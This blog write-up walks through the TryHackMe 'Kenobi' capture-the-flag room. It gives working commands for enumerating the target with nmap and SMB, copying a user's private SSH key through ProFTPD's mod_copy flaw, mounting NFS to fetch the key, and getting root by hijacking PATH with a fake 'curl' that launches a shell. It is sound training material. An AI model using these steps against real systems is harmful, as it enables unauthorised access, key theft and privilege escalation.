This is a write-up for the Kenobi CTF Room on TryHackMe. TryHackMe features many virtual environments to practice hacking and to learn the concepts of cybersecurity. As part of my own education, and to help others, I will be posting write-ups for some of the challenges that I complete. My write-ups will contain the full solution to these rooms, but also my major mistakes and dead ends as well, as I believe an important part of learning is to see not only what worked, but what didn’t work too. Cybersecurity, and IT more broadly, is often about learning from “failure” and experimentation. If you are planning to use this guide for your own growth, I highly recommend reading it over once before actually trying anything that I outline. This an unpolished overview of how I approached this room, not necessarily the best or most efficient way to solve it.
Kenobi is a CTF hacking challenge where you need to get access to a victim Linux machine and then use privilege escalation to find a flag on root. Once I entered the room the first thing that I tried was inputting the given IP into a web browser to see if anything was up.
The only thing that showed up was a photo from Star Wars and nothing else. Checking the source code I found that the web page was running an Apache/2.4.18 (Ubuntu) Server on Port 80 but nothing else.
Next I ran nmap with:
Nmap IP_ADDRESS -sV -v
I found 7 open ports:
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind 2-4 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
We knew about the web server of course, but now we also know that the machine is running FTP, SSH, and Samba as well. I decided to check the list for any potential CVEs and right away I found a possible exploit on ProFTPD 1.3.5 with CVE 2015-3306. This exploit was available in Metasploit so I decided to try it and hopefully get a reverse shell right off the bat.
I booted up Metasploit with msfconsole, searched for ProFTPD, and selected the exploit that I wanted to try. Once selected I then checked which options needed to be configured and in this case the defaults were fine and I only needed to set the RHOSTS to the victim IP Address.
Next I needed to set up a listener to catch any incoming session. Then the payload:
Using configured payload generic/shell_reverse_tcp
Next I typed:
Set EXITONSESSION to false
Which from my understanding keeps the session from timing out.
Lastly I checked the required options for the listener and only needed to set my local host IP under LHOST.
Then I ran the main exploit under:
msf5 exploit(unix/ftp/proftpd_modcopy_exec)
And,
[*] Exploit completed, but no session was created.
[-] 10.10.210.51:80 – Exploit failed: An exploitation error occurred.
Darn. I’m not sure if the exploit just didn’t work or if I just didn’t set something correctly which could be the case since I’ve never tried that particular exploit before. I tinkered with it some more but had no luck. I decided to move on and try something else.
The official description for this challenge mentions Samba so I decided to pivot and try this angle instead.
Samba has two ports it typically uses, 139 which is outdated, and 445 which is modern and runs on top of a TCP Stack.
Nmap beyond doing just typical enumeration of a host can also do more targeted enumeration by running different commands and scripts. The script below enumerates the SMB Shares on a host:
nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse IP_Address
I got back three results:
| \\10.10.210.51\IPC$:
| \\10.10.210.51\anonymous:|
| \\10.10.210.51\print$:
Trying to connect to the first share “IPC” greeted me with a password entry:
root@ip-10-10-241-209:~# smbclient //10.10.210.51/IPC$
WARNING: The “syslog” option is deprecated.
Enter WORKGROUP\root’s password:
I hit “enter” and it worked! Well, that was easy. Cool. Anything here?
smb: \> dir
NT_STATUS_OBJECT_NAME_NOT_FOUND listing *
Nothing, let’s check the “anonymous” share quickly too.
smb: \> dir
. D 0 Wed Sep 4 11:49:09 2019
.. D 0 Wed Sep 4 11:56:07 2019
log.txt N 12237 Wed Sep 4 11:49:09 2019
Let’s see if that “log.txt” file is of any interest.
I pulled the “anonymous” share to my local host with:
smbget -R smb://10.10.210.51/anonymous
I can access the share now that I have mounted it. I cat the log.txt file and there is a lot of stuff in here, but right away the SSH / rsa_key generation information jumped out at me:
“Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory ‘/home/kenobi/.ssh’.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi”
And some ProFTPD information:
# This is a basic ProFTPD configuration file (rename it to
# ‘proftpd.conf’ for actual use. It establishes a single server
# and a single anonymous login. It assumes that you have a user/group
# “nobody” and “ftp” for normal operation and anon.
At this point I checked the TryHackMe page and it seems that we are on the right track however they also recommend scanning the rpcbind we found on port 111. They wrote:
“Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve. In our case, port 111 is access to a network file system.”
I didn’t understand why this was helpful to us yet but went with it anyway and ran a provided script to enumerate the rpcbind service.
nmap -p 111 –script=nfs-ls,nfs-statfs,nfs-showmount 10.10.210.51
I got back a bunch of information but the most interesting was:
| nfs-ls: Volume /var
The next thing TryHackMe asks us to do is to enumerate ProFtpd and to see how many exploits are available. Maybe I was onto something up above after all.
They write:
“You should have found an exploit from ProFtpd’s mod_copy module. The mod_copy module implements SITE CPFR and SITE CPTO commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user. We’re now going to copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.”
This all checks out so far. We know that the machine is running FTP on port 21 from our initial nmap scan. We found out that an ssh key was generated on the victim host and we learned its location when we mounted the “anonymous” Samba share and read the log file. We also know that this version of ProFtpd has known vulnerabilities. But rather than trying to use the ProFtpd reverse shell exploit that I tried above, TryHackMe wants us to use the exploited SITE CPFR and SITE CPTO commands to copy the ssh key from the Kenobi user to my local host, then SSH into the victim host where I’ll probably get my first flag.
Next I used netcat to connect to the FTP server on port 21.
nc IP ADDRESS 21
We know from the log file the location of the id_rsa key for SSH on the Kenobi user profile, the commands below allow us to copy the file to a new destination.
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
Pretty cool! Now I understand why the rpcbind service on port 111 was useful to enumerate, it gave us access to the NFS and a directory called /var. This directory is where we copied the id_rsa key into.
Next we need to mount the /var/tmp directory to our local host.
First, we make a directory on our local host:
mkdir /mnt/kenobiNFS
Then mount /var nfs to the directory that you just made.
mount machine_ip:/var /mnt/kenobiNFS
Then check to see if contents are listed:
ls -la /mnt/kenobiNFS
And bam, we got something!
Now let’s get the key:
cd /mnt/kenobiNFS/tmp
cp id_rsa /
Currently everyone has access to read the id_rsa file which we downloaded to our host:
-rw-r–r– 1 root root 1675 Nov 22 22:49 id_rsa
Your local SSH process doesn’t like that because it makes the file less secure.
To fix this you would change the permissions by typing:
Sudo Chmod 600 id_rsa
Now only you can read and write the file, which means the local SSH process will allow you use the key to SSH into another host.
-rw——- 1 root root 1675 Nov 22 22:49 id_rsa
That’s better. Now let’s try to SSH in:
ssh -i id_rsa kenobi@10.10.151.40
...
kenobi@kenobi:
Woo! We are in, let’s grab the first flag?
kenobi@kenobi:~$ ls
share user.txt
kenobi@kenobi:~$ cat user.txt
HIDDEN FLAG (Hidden by me to not spoil the game)
Awesome!
Next we need to try and get root.
The room wants us to mess with SUID bits as a means to get privilege escalation.
“SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.”
To search the system for these kinds of files type:
find / -perm -u=s -type f 2>/dev/null
This command searches everywhere on the host for SUID files and sends the errors to /dev/null.
A bunch of SUID files populate but /usr/bin/menu is the one that stands out.
By running strings on the menu command, we can see that the menu binary is running without a full path. (e.g. not using /usr/bin/curl or /usr/bin/uname) Since /usr/bin/menu is running without a full path, and it’s running with root user privileges, it means that we can exploit this by manipulating the path to execute a root shell.
First we move to the tmp folder, then copy /bin/sh (shell file) to a new file named curl. Then we give full permissions to curl. Then we export the PATH to the tmp folder.
Cd /tmp
echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH
Now when you execute /usr/bin/menu binary it follows the PATH and executes “curl”, which is really /bin/sh, and now a shell will launch as root.
Boom, we have escalated our privileges and we are now root!
With this we cat the root.txt file and claim our final flag!
To try this room yourself go to: https://tryhackme.com/room/kenobi
The Online Mind 